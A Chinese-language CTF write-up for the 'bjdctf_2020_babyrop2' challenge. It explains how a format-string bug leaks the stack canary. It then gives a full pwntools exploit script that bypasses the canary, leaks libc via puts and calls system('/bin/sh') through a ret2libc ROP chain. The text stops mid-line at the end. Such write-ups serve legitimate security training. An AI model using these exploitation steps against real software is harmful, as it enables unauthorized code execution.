# bjdctf_2020_babyrop2

# 1. 查看程序

题目开启了 canary,不能随意进行栈溢出

ida 反汇编查看

mian()

看到有三个函数

init()

输出字符串

gift()

看到有个 printf() ,加上 canary 联想到 格式化字符串漏洞 ,用来泄露 canary 的值,然后再进行栈溢出

vuln()

看到 read() 可以进行溢出

# 2. 查看 canary 的值

输入点参数在栈上的相对位置(找偏移量),之前我都是输入 aaa %08x %08x……%08x 这样的字符串去找偏移的,这次不可以(限定了 6 个宽度的的输入),换了一种方法,输入 %n$p ,n 是偏移量,配上 %$p 就能定位到偏移量处,输出该位置上的内容

此处一个一个试发现偏移是 6 (相对我们输入数据的位置),输入值: aa%6$p


通过我们输入的值在栈上的位置往后查找,发现下一个位置有奇怪的一串数字,认定它为 canary 的值(要在栈上),而且它在 rbp 的上面

接着确定一下 vuln() 函数中 canary 位置,发现 rbp 位置与上面相同, canary 也在上面,也能通过 rsp 后面的 626262(bbb), 确定我们的输入位置

发现 canary 是距离我们输入位置 0x18 处,绕过 canary 后可以进行构造 ret2libc

如果相对栈起始偏移不变,那么我们输入的值也不是在栈的起始位置,,并不是,因为我们输入的值是在起始处,只是利用了格式化字符串......(此处为为我没想明白的地方:为什么我们输入的格式化字符串的值是在栈上有偏移的,而后面的栈溢出却是从栈顶开始的)

# 3.exp

n
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p=process('./bjdctf_2020_babyrop2')
e=ELF('./bjdctf_2020_babyrop2')
#p=remote('node4.buuoj.cn',25714)
puts_plt=e.plt["puts"]
puts_got=e.got["puts"]
read_got=e.got["read"]
printf_got=e.got["printf"]
rdi_ret=0x400993
vuln=0x0400887
p.recvuntil(b"help u!\n")
payload1=str("%7$p")
p.sendline("%7$p")
p.recvuntil("0x")
stroy=int(p.recv(16),16)
p.recvuntil(b"story!\n")
payload=b"a"*0x18+p64(stroy)+p64(0)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln)
p.send(payload)
puts=u64(p.recv(6).ljust(8,b'\x00'))
#p.recvuntil("help u!\n")
p.recvuntil(b"story!\n")
libc=LibcSearcher("puts",puts)
libc_base=puts-libc.dump("puts")
system=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")
#payload2=p32()+p32()+p32()+p32()
payload2=b"a"*0x18+p64(stroy)+p64(0)+p64(rdi_ret)+p64(binsh)+p64(system)
p.sendline(payload2)
p.interactive()

【注意】
远程查找 libc 库无法打通本地(和靶机查找出来的不同)

靶机: